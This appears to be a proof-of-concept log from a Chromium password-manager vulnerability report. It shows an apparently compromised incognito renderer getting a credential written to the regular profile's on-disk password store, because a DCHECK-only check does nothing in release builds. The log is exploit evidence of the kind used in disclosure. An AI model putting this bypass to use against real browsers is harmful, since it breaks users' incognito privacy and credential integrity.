[1108:1108:0405/041421.455522:ERROR:components/autofill/content/renderer/password_autofill_agent.cc:1531] [POC-RENDERER] Compromised renderer sending PasswordGenerationDriver::PresaveGeneratedPassword for form renderer_id=2 url=
[1036:1036:0405/041421.503777:ERROR:components/password_manager/core/browser/password_manager.cc:733] [POC-BROWSER] OnPresaveGeneratedPassword reached: url=http://127.0.0.1:49033/poc.html IsSavingAndFillingEnabled=0 IsOffTheRecord=1
[1036:1036:0405/041421.503865:ERROR:components/password_manager/core/browser/password_manager.cc:738] [POC-BROWSER] *** VULNERABILITY CONFIRMED *** IsSavingAndFillingEnabled()==false but DCHECK is a no-op in release builds; proceeding to write credential 'POC_INJECTED_PASSWORD_12345!' to persistent password store.
[1036:1036:0405/041421.504759:ERROR:components/password_manager/core/browser/form_saver_impl.cc:127] [POC-BROWSER] FormSaverImpl::Save -> store_->AddLogin: signon_realm=http://127.0.0.1:49033/ username=poc_user password=POC_INJECTED_PASSWORD_12345!
file: /tmp/chrome-poc-profile/Default/Login Data
exists: True
  origin_url    : http://127.0.0.1:49033/poc.html
  signon_realm  : http://127.0.0.1:49033/
  username      : poc_user
  password(enc) : 763130F71D91987873BE209BFFCFB75476A77807686914238C15BAF54CA01ED4D47FEB
  date_created  : 13419836061504729
total credential rows: 1

*** PROOF: Credential was written to the REGULAR profile on-disk
*** password store from an INCOGNITO renderer, bypassing the
*** IsSavingAndFillingEnabled() gate (which is DCHECK-only).